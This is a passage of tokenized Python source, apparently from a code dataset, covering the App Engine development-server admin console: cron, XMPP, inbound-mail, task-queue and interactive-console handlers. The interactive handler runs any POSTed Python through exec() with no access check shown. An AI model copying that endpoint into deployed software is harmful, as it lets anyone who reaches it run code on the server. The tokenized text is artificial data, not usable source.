"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "request_", "._", "path_", "+_", "'?'_", "+_", "'&'_", "._", "join_", "(_", "queries_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Base", "Request", "Handler_", "(_", "webapp_", "._", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "in", "\\u", "production_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Detect", "s", " ", "if", " ", "app", " ", "is", " ", "runn", "ing", " ", "in", " ", "producti", "on", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", " ", "a", " ", "boolean", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server", "\\u", "software", "_", "=_", "os_", "._", "environ_", "[_", "'", "SERVER", "\\u", "SOFT", "WARE", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "not_", "server", "\\u", "software", "_", "._", "startswith_", "(_", "'", "Dev", "elo", "pme", "nt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Default", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Redirect", "s", " ", "to", " ", "the", " ", "Datas", "tore", " ", "applica", "tion", " ", "by", " ", "default", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Default", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "request_", "._", "path_", "._", "endswith_", "(_", "'/'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base_", "=_", "self_", "._", "request_", "._", "path_", "[_", ":_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base_", "=_", "self_", "._", "request_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "redirect_", "(_", "base_", "+_", "Datas", "tore", "Query", "Handler_", "._", "PATH_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Interact", "ive", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "our", " ", "interactive", " ", "console", " ", "HTM", "L", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "interactive", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Interact", "ive", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "generate_", "(_", "'", "interactive", ".", "html", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Interact", "ive", "Execut", "e", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Execut", "es", " ", "the", " ", "Pyth", "on", " ", "code", " ", "submitted", " ", "in", " ", "a", " ", "POST", " ", "within", " ", "this", " ", "context", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", "For", " ", "ob", "vio", "us", " ", "reasons", ",", " ", "this", " ", "shou", "ld", " ", "only", " ", "be", " ", "avail", "able", " ", "to", " ", "administrat", "ors", "\\", "10", ";", " ", " ", "of", " ", "the", " ", "applica", "tion", "s", ".", "\\", "10", ";", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "Interact", "ive", "Page", "Handler_", "._", "PATH_", "+_", "'/", "execute", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Interact", "ive", "Execut", "e", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "save", "\\u", "stdout_", "=_", "sys_", "._", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results", "\\u", "io_", "=_", "c", "String", "IO_", "._", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "=_", "results", "\\u", "io_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "code_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "code", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "code_", "=_", "code_", "._", "replace_", "(_", "\"\\\\", "r", "\\\\", "n", "\"_", ",_", "\"\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "compile", "d\\u", "code_", "=_", "compile_", "(_", "code_", ",_", "'<", "string", ">'_", ",_", "'", "exec", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exec_", "(_", "compile", "d\\u", "code_", ",_", "globals_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "traceback_", "._", "print", "\\u", "exc_", "(_", "file_", "=_", "results", "\\u", "io_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "finally_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sys_", "._", "stdout_", "=_", "save", "\\u", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "results_", "=_", "results", "\\u", "io_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "interactive", "-", "output", ".", "html", "'_", ",_", "{_", "'", "output", "'_", ":_", "results_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Cro", "n", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "informati", "on", " ", "abo", "ut", " ", "configur", "ed", " ", "cron", " ", "jobs", " ", "in", " ", "this", " ", "applica", "tion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "cron", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cro", "n", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "now_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "template", " ", "display", "ing", " ", "the", " ", "configur", "ed", " ", "cron", " ", "jobs", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "now_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "now_", "=_", "datetime_", "._", "datetime_", "._", "now_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "=_", "{_", "'", "request", "'_", ":_", "self_", "._", "request_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "cron", "\\u", "info_", "=_", "\\u", "Pars", "e", "Cro", "n", "Ya", "ml_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "cron", "jobs", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "now", "'_", "]_", "=_", "str_", "(_", "now_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "cron", "\\u", "info_", "and_", "cron", "\\u", "info_", "._", "cron_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "entry_", "in_", "cron", "\\u", "info_", "._", "cron_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "[_", "'", "cron", "jobs", "'_", "]_", "._", "append_", "(_", "job_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "entry_", "._", "description_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "[_", "'", "description", "'_", "]_", "=_", "entry_", "._", "description_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "[_", "'", "description", "'_", "]_", "=_", "'(", "no", " ", "description", ")'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "entry_", "._", "timezone_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "[_", "'", "timezon", "e", "'_", "]_", "=_", "entry_", "._", "timezone_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "job_", "[_", "'", "url", "'_", "]_", "=_", "entry_", "._", "url_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "[_", "'", "schedule", "'_", "]_", "=_", "entry_", "._", "schedule_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "schedule_", "=_", "gro", "ctime", "specification_", "._", "Gro", "c", "Time", "Specification", "_", "(_", "entry_", "._", "schedule_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "matches_", "=_", "schedule_", "._", "Get", "Matches_", "(_", "now_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "job_", "[_", "'", "times", "'_", "]_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "match_", "in_", "matches_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "job_", "[_", "'", "times", "'_", "]_", "._", "append_", "(_", "{_", "'", "runt", "ime", "'_", ":_", "match_", "._", "strftime_", "(_", "\"%", "Y", "-%", "m", "-%", "d", " ", "%", "H", ":", "%", "M", ":", "%", "SZ", "\"_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "difference", "'_", ":_", "str_", "(_", "match_", "-_", "now_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "cron", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "XMPP", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "XMPP", " ", "request", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "xmpp", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "XMPP", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "template", " ", "display", "ing", " ", "the", " ", "XMPP", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xmpp", "\\u", "configured_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "xmpp", "\\u", "configur", "ed", "'_", ":_", "xmpp", "\\u", "configured_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "xmpp", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Inbo", "und", "Mail", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", "s", " ", "Mail", " ", "request", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "inbound", "mail", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Inbo", "und", "Mail", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "template", " ", "display", "ing", " ", "the", " ", "Inbo", "und", " ", "Mail", " ", "form", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "inbound", "mail", "\\u", "configured_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "inbound", "mail", "\\u", "configur", "ed", "'_", ":_", "inbound", "mail", "\\u", "configured_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "inbound", "mail", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Queue", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "informati", "on", " ", "abo", "ut", " ", "configur", "ed", " ", "(", "and", " ", "default", ")", " ", "task", " ", "queue", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "PATH_", "=_", "'/", "queue", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Queue", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stub_", "=_", "api", "proxy", "\\u", "stub", "\\u", "map_", "._", "api", "proxy_", "._", "Get", "Stub_", "(_", "'", "task", "queue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "template", " ", "display", "ing", " ", "the", " ", "configur", "ed", " ", "task", " ", "queue", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "queue", "s", "'_", ":_", "self_", "._", "stub_", "._", "Get", "Queue", "s_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "queue", "s", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Queue", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Handle", " ", "modif", "ying", " ", "action", "s", " ", "and", "/", "or", " ", "redirec", "t", " ", "to", " ", "GET", " ", "page", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "flush", "queue", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stub_", "._", "Flu", "sh", "Queue_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "queue", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "redirect_", "(_", "self_", "._", "request_", "._", "path", "\\u", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Task", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "informati", "on", " ", "abo", "ut", " ", "a", " ", "queue", "'", "s", " ", "task", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PATH_", "=_", "'/", "task", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "PAGE", "\\u", "SIZE_", "=_", "20_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Task", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stub_", "=_", "api", "proxy", "\\u", "stub", "\\u", "map_", "._", "api", "proxy_", "._", "Get", "Stub_", "(_", "'", "task", "queue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Task", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Show", "s", " ", "template", " ", "display", "ing", " ", "the", " ", "queue", "'", "s", " ", "task", "s", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "queue_", "=_", "self_", "._", "request_", "._", "get_", "(_", "'", "queue", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "start_", "=_", "int_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "start", "'_", ",_", "0_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "all", "\\u", "tasks_", "=_", "self_", "._", "stub_", "._", "Get", "Tasks_", "(_", "queue_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "next", "\\u", "start_", "=_", "start_", "+_", "self_", "._", "PAGE", "\\u", "SIZE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tasks_", "=_", "all", "\\u", "tasks_", "[_", "start_", ":_", "next", "\\u", "start_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "current", "\\u", "page_", "=_", "int_", "(_", "start_", "/_", "self_", "._", "PAGE", "\\u", "SIZE_", ")_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pages_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "number_", "in_", "xrange_", "(_", "int_", "(_", "math_", "._", "ceil_", "(_", "len_", "(_", "all", "\\u", "tasks_", ")_", "/_", "\\u\\u\\uNL\\u\\u\\u_", "float_", "(_", "self_", "._", "PAGE", "\\u", "SIZE_", ")_", ")_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pages_", "._", "append_", "(_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "number", "'_", ":_", "number_", "+_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "'_", ":_", "number_", "*_", "self_", "._", "PAGE", "\\u", "SIZE_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "all", "\\u", "tasks_", "[_", "next", "\\u", "start_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "next", "\\u", "start_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "prev", "\\u", "start_", "=_", "start_", "-_", "self_", "._", "PAGE", "\\u", "SIZE_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "prev", "\\u", "start_", "<_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prev", "\\u", "start_", "=_", "-_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "values_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "self_", "._", "request_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "queue", "\\u", "name", "'_", ":_", "queue_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "task", "s", "'_", ":_", "tasks_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "start", "\\u", "base", "\\u", "url", "'_", ":_", "self_", "._", "filter", "\\u", "url_", "(_", "[_", "'", "queue", "'_", "]_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prev", "\\u", "start", "'_", ":_", "prev", "\\u", "start_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "next", "\\u", "start", "'_", ":_", "next", "\\u", "start_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "page", "s", "'_", ":_", "pages_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "current", "\\u", "page", "'_", ":_", "current", "\\u", "page_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "generate_", "(_", "'", "task", "s", ".", "html", "'_", ",_", "values_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Task", "s", "Page", "Handler_", "(_", "Base", "Request", "Handler_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "request_", "._", "get_", "(_", "'", "action", ":", "delete", "task", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stub_", "._", "Delete", "Task_", "(_", "self_", "._", "request_", "._", "get_", "(_", "'", "queue", "'_", ")_", ",_", "self_", "._", "request_", "._", "get_", "(_", "'", "task", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "redirect_", "(_", "self_", "._", "request_", "._", "path", "\\u", 